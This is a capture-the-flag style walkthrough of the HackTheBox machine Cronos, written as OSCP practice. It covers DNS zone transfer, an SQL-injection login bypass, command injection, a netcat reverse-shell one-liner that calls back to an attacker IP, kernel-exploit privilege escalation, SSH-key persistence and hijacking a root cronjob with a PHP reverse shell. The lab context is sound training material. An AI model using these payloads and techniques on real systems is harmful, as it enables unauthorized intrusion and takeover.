Cronos is a medium-rated Linux machine on the reputable penetration testing platform known as HackTheBox. The ultimate goal is to compromise this machine and gain root privileged access. In the write-up below I explain the steps I took to successfully gain root access to this machine. This one falls in the category of TJNull’s HackTheBox OSCP-like machines. So if you’re planning on taking the OSCP like me, this machine is good practice. The whole list of OSCP-like machines can be found here.
Reconnaissance
Those familiar with the Cyber Kill Chain are aware that reconnaissance is the first step in the process of compromising a system, so let’s start with that. For the purpose of making things easier, reconnaissance wise, I’m using Tib3rius’s AutoRecon tool which can be found here.
Discovering with AutoRecon:
sudo python3 autorecon.py 10.10.10.13
The results of the full TCP scan are listed below. The scan results show that there are only three ports open:
- Port 22 is running OpenSSH 7.2p2
- Port 53 is running BIND 9.10.3-P4
- Port 80 is running Apache httpd 2.4.18
Because DNS is open let’s check out the top 20 UDP ports scan results. Luckily AutoRecon performs this scan automatically so you don’t miss anything. The results of the scan showed that UDP port 53 was also open and running BIND.
Enumeration
Since DNS is running let’s first do some enumeration on this service. For this we can utilize the dig command to query the nameserver for information about host addresses, mail exchanges and nameservers. We ran the following command:
dig axfr @10.10.10.13 cronos.htb
- AXFR: Protocol to test for zone transfers.
It looks like dig found some interesting DNS A-records. Let’s add these to our /etc/hosts file to be able to resolve these records. After adding the records to our hosts file let’s check out admin.cronos.htb because that’s sounds very interesting. Navigating to the webpage we are presented with a log-in prompt:
Usually when I’m presented with any sort of login panel I try common credentials and test manually for SQLi using this payload list. After trying some common credentials we move on to trying some basic SQLi. After trying a couple of payloads we seem to have bypassed authentication by entering “admin’ — -” into the vulnerable UserName form. We are then presented with some sort of tool that executes system commands.
It seems like this tool lets you run traceroute and ping commands on a specified IP-address. Having encountered this already multiple times in the past let’s test for command injection. Command injection is an attack in which the goal is to execute arbitrary commands on the target machine through a vulnerable application. The first thing we test for is to add a semicolon after 8.8.8.8 so we end the initial command and check if we can execute another command after the initial command like so:
After executing this command we conclude that we can run arbitrary system commands on the host and that commands are run as the www-data user. Sometimes developers put up defense mechanisms to rule out the possibility of injecting commands, if any of my basic commands don’t work I usually navigate to this handy cheat sheet.
Great, now that we have found a way to execute system commands as the www-data user, let’s try to connect back to our own machine through a reverse shell. A big thank you to pentestmonkey for this amazing cheat sheet. First let’s set up a listener on our own machine so we can catch the shell, we do this by utilizing netcat.
Now that we are listening for incoming network connections on port 1234 let’s inject a reverse shell into the Net Tool application. After trying a couple of different reverse shells, the traditional netcat reverse shell seems to work for us: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f
After executing the command we get a call back to our system. Nice! We now have a shell on the system.
Now that we have a shell, let’s improve it to use functions such as tab-autocomplete, clearing the screen and giving us a fully interactive TTY:
- export TERM=xterm-256color: this let’s us clear the screen.
- CTRL+Z, stty raw -echo, fg + [double enter]: this let’s us use tab-autocomplete.
- python -c ‘import pty; pty.spawn(“/bin/bash”)’: this spawns us a fully interactive TTY.
Right, now that we have a stable interactive shell let’s continue our enumeration. What I’d like to do first is check which users on the system have a shell so we know which users are of any interest.
It seems like three users have a shell on the box: root, www-data and noulis. Let’s check if we have access to noulis’s home directory. After checking we confirm that we have access to noulis’s home directory and are able to read the contents of the user flag.
Now that we have user we are “halfway” there. After doing some manual enumeration I couldn’t find anything very interesting so I decided to make my life easier and run the automated tool LinPEAS. After running it, we see two very interesting things in the output. First of all we see that the kernel version is colored red, which means that there’s a possibility for privilege escalation by abusing the kernel.
I immediately started my search for a possible vulnerability in this kernel version. After some searching I found that it was claimed that this kernel version was vulnerable to CVE 2017–16995. This vulnerability boils down to the fact that local users have a possibility to corrupt the memory. The CVE can be found here. After all these claims, let’s give this kernel exploit a try. The exploit is written in C, which means we have to compile it order to execute it. I couldn’t find any C-compilers on Cronos so I decided to compile the exploit on my own machine using gcc. After downloading the exploit from exploit-db we compile it:
Now that we have the exploit ready to be executed let’s transfer it over to Cronos using wget and Python’s SimpleHTTPServer.
We have successfully transferred over the kernel exploit to Cronos, now all that’s left to do is give it a try.
Well, that worked! If we want we can now grab the root flag. For a more stable shell we could also create a .ssh directory in the root user’s home folder and write our public key in the authorized_keys file. Let’s do that so we have a stable shell.
Now that our public key has been added to the root user’s authorized_keys file all that’s left to do is login via ssh using our private key.
I quickly realized that the kernel exploit wasn’t the intended way to root this box since the box is called Cronos, which is of course a big hint to Cron. Checking our LinPEAS we also see a cronjob that’s running every minute as the root user.
Interesting, the file that gets ran is located in the /var/www/laravel directory, we should have write access to the artisan file. Let’s see if we do.
As we can see we are the owner of the artisan file and we have read, write and execute permissions. So why don’t we overwrite this file with our own, malicious “artisan” file? For this purpose I set up a PHP reverse shell.
Now that our reverse shell is ready to go, let’s transfer it over to the Cronos machine utilizing wget and Python’s SimpleHTTPServer.
Now that our file has been transferred let’s replace the original artisan file with our PHP reverse shell. We do this by removing the original artisan file and replacing it with our reverse shell.
Now that we have overwritten the original artisan file with our own, malicious artisan file, all we have to do is set up a listener on our machine and wait one minute until the cronjob gets executed.
We have now rooted the box using two different attack vectors. In my opinion abusing the cronjob was a lot more fun than the kernel exploit. This wraps up Cronos, I hope you enjoyed and have learned something from this write-up, I hope to see you in the next one.